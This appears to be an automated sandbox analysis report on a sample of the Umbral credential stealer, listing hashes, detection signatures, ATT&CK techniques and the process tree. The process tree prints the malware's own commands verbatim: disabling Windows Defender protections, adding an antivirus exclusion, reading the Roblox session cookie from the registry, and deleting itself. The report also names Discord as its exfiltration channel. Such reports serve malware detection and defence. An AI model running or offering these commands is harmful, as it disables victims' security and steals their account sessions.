umbral | e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
08-12-2024 00:48

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General

Target

e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe
Size

231KB
MD5

81addafe30f78a103061bf331bb04350
SHA1

3f8bf8d7c3519f149d60d20e87ae8204f4428db8
SHA256

e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7
SHA512

5438b5042df46e88a3495be854d20f0ecf30c389a10223703eef82b8b7538df0605e01abcda012074ac767596e91f19f1271a824943937eaff5f46a7c3abe39d
SSDEEP

6144:xloZM9rIkd8g+EtXHkv/iD426oJKInDAHZMK7bCFd+lP8e1mQ4i:DoZOL+EP8ToJKInDAHZMK7bCGZp

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2800-1-0x00000000003B0000-0x00000000003F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2516	powershell.exe
1724	powershell.exe
2096	powershell.exe
2940	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe

Deletes itself 1 IoCs

pid	Process
2172	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2172	cmd.exe
2472	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2076	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2472	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2940	powershell.exe
2096	powershell.exe
2516	powershell.exe
2336	powershell.exe
1724	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeIncreaseQuotaPrivilege	3060	wmic.exe
Token: SeSecurityPrivilege	3060	wmic.exe
Token: SeTakeOwnershipPrivilege	3060	wmic.exe
Token: SeLoadDriverPrivilege	3060	wmic.exe
Token: SeSystemProfilePrivilege	3060	wmic.exe
Token: SeSystemtimePrivilege	3060	wmic.exe
Token: SeProfSingleProcessPrivilege	3060	wmic.exe
Token: SeIncBasePriorityPrivilege	3060	wmic.exe
Token: SeCreatePagefilePrivilege	3060	wmic.exe
Token: SeBackupPrivilege	3060	wmic.exe
Token: SeRestorePrivilege	3060	wmic.exe
Token: SeShutdownPrivilege	3060	wmic.exe
Token: SeDebugPrivilege	3060	wmic.exe
Token: SeSystemEnvironmentPrivilege	3060	wmic.exe
Token: SeRemoteShutdownPrivilege	3060	wmic.exe
Token: SeUndockPrivilege	3060	wmic.exe
Token: SeManageVolumePrivilege	3060	wmic.exe
Token: 33	3060	wmic.exe
Token: 34	3060	wmic.exe
Token: 35	3060	wmic.exe
Token: SeIncreaseQuotaPrivilege	3060	wmic.exe
Token: SeSecurityPrivilege	3060	wmic.exe
Token: SeTakeOwnershipPrivilege	3060	wmic.exe
Token: SeLoadDriverPrivilege	3060	wmic.exe
Token: SeSystemProfilePrivilege	3060	wmic.exe
Token: SeSystemtimePrivilege	3060	wmic.exe
Token: SeProfSingleProcessPrivilege	3060	wmic.exe
Token: SeIncBasePriorityPrivilege	3060	wmic.exe
Token: SeCreatePagefilePrivilege	3060	wmic.exe
Token: SeBackupPrivilege	3060	wmic.exe
Token: SeRestorePrivilege	3060	wmic.exe
Token: SeShutdownPrivilege	3060	wmic.exe
Token: SeDebugPrivilege	3060	wmic.exe
Token: SeSystemEnvironmentPrivilege	3060	wmic.exe
Token: SeRemoteShutdownPrivilege	3060	wmic.exe
Token: SeUndockPrivilege	3060	wmic.exe
Token: SeManageVolumePrivilege	3060	wmic.exe
Token: 33	3060	wmic.exe
Token: 34	3060	wmic.exe
Token: 35	3060	wmic.exe
Token: SeIncreaseQuotaPrivilege	2496	wmic.exe
Token: SeSecurityPrivilege	2496	wmic.exe
Token: SeTakeOwnershipPrivilege	2496	wmic.exe
Token: SeLoadDriverPrivilege	2496	wmic.exe
Token: SeSystemProfilePrivilege	2496	wmic.exe
Token: SeSystemtimePrivilege	2496	wmic.exe
Token: SeProfSingleProcessPrivilege	2496	wmic.exe
Token: SeIncBasePriorityPrivilege	2496	wmic.exe
Token: SeCreatePagefilePrivilege	2496	wmic.exe
Token: SeBackupPrivilege	2496	wmic.exe
Token: SeRestorePrivilege	2496	wmic.exe
Token: SeShutdownPrivilege	2496	wmic.exe
Token: SeDebugPrivilege	2496	wmic.exe
Token: SeSystemEnvironmentPrivilege	2496	wmic.exe
Token: SeRemoteShutdownPrivilege	2496	wmic.exe
Token: SeUndockPrivilege	2496	wmic.exe
Token: SeManageVolumePrivilege	2496	wmic.exe
Token: 33	2496	wmic.exe
Token: 34	2496	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 2776	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	30
PID 2800 wrote to memory of 2776	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	30
PID 2800 wrote to memory of 2776	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	30
PID 2800 wrote to memory of 2940	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	32
PID 2800 wrote to memory of 2940	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	32
PID 2800 wrote to memory of 2940	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	32
PID 2800 wrote to memory of 2096	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	34
PID 2800 wrote to memory of 2096	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	34
PID 2800 wrote to memory of 2096	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	34
PID 2800 wrote to memory of 2516	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	36
PID 2800 wrote to memory of 2516	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	36
PID 2800 wrote to memory of 2516	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	36
PID 2800 wrote to memory of 2336	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	38
PID 2800 wrote to memory of 2336	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	38
PID 2800 wrote to memory of 2336	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	38
PID 2800 wrote to memory of 3060	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	40
PID 2800 wrote to memory of 3060	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	40
PID 2800 wrote to memory of 3060	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	40
PID 2800 wrote to memory of 2496	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	43
PID 2800 wrote to memory of 2496	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	43
PID 2800 wrote to memory of 2496	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	43
PID 2800 wrote to memory of 776	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	45
PID 2800 wrote to memory of 776	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	45
PID 2800 wrote to memory of 776	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	45
PID 2800 wrote to memory of 1724	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	47
PID 2800 wrote to memory of 1724	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	47
PID 2800 wrote to memory of 1724	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	47
PID 2800 wrote to memory of 2076	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	49
PID 2800 wrote to memory of 2076	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	49
PID 2800 wrote to memory of 2076	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	49
PID 2800 wrote to memory of 2172	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	51
PID 2800 wrote to memory of 2172	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	51
PID 2800 wrote to memory of 2172	2800	e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe	51
PID 2172 wrote to memory of 2472	2172	cmd.exe	53
PID 2172 wrote to memory of 2472	2172	cmd.exe	53
PID 2172 wrote to memory of 2472	2172	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2776	attrib.exe

C:\Users\Admin\AppData\Local\Temp\e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe
"C:\Users\Admin\AppData\Local\Temp\e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe"
  2⤵
  - Views/modifies file attributes
  PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2336
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2496
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1724
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2076
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e6bce403ca6d89fde32903e97f5bb76dca2d6b21483c345052dab209a21618b7N.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
631a3cdff9b037ccecce0ac400d3834c

SHA1
b73cce617317f4b9b50d874e92aed722f21b3553

SHA256
7c2a354e556fd31ab37fa91d9b02778441f244f32cca6bc839216f35bef744bb

SHA512
2fb86072e8783922c5aa2c5965dcce2d57954fcdbaac59f6566c8ef487a5d4999b631b027a032badaebdcbbe09057bf7041c6e43a2e96844ff7a2294b060f8bc

Download Submit
memory/2096-22-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2096-21-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-1-0x00000000003B0000-0x00000000003F0000-memory.dmp

Filesize
256KB

Download
memory/2800-2-0x000007FEF6440000-0x000007FEF6E2C000-memory.dmp

Filesize
9.9MB

Download
memory/2800-58-0x000007FEF6440000-0x000007FEF6E2C000-memory.dmp

Filesize
9.9MB

Download
memory/2800-0-0x000007FEF6443000-0x000007FEF6444000-memory.dmp

Filesize
4KB

Download
memory/2800-48-0x000007FEF6440000-0x000007FEF6E2C000-memory.dmp

Filesize
9.9MB

Download
memory/2800-47-0x000007FEF6443000-0x000007FEF6444000-memory.dmp

Filesize
4KB

Download
memory/2940-8-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2940-15-0x000007FEED9E0000-0x000007FEEE37D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-14-0x000007FEED9E0000-0x000007FEEE37D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-13-0x000007FEED9E0000-0x000007FEEE37D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-12-0x000007FEED9E0000-0x000007FEEE37D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-11-0x000007FEED9E0000-0x000007FEEE37D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-10-0x000007FEED9E0000-0x000007FEEE37D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-9-0x00000000005E0000-0x00000000005E8000-memory.dmp

Filesize
32KB

Download
memory/2940-7-0x000007FEEDC9E000-0x000007FEEDC9F000-memory.dmp

Filesize
4KB

Download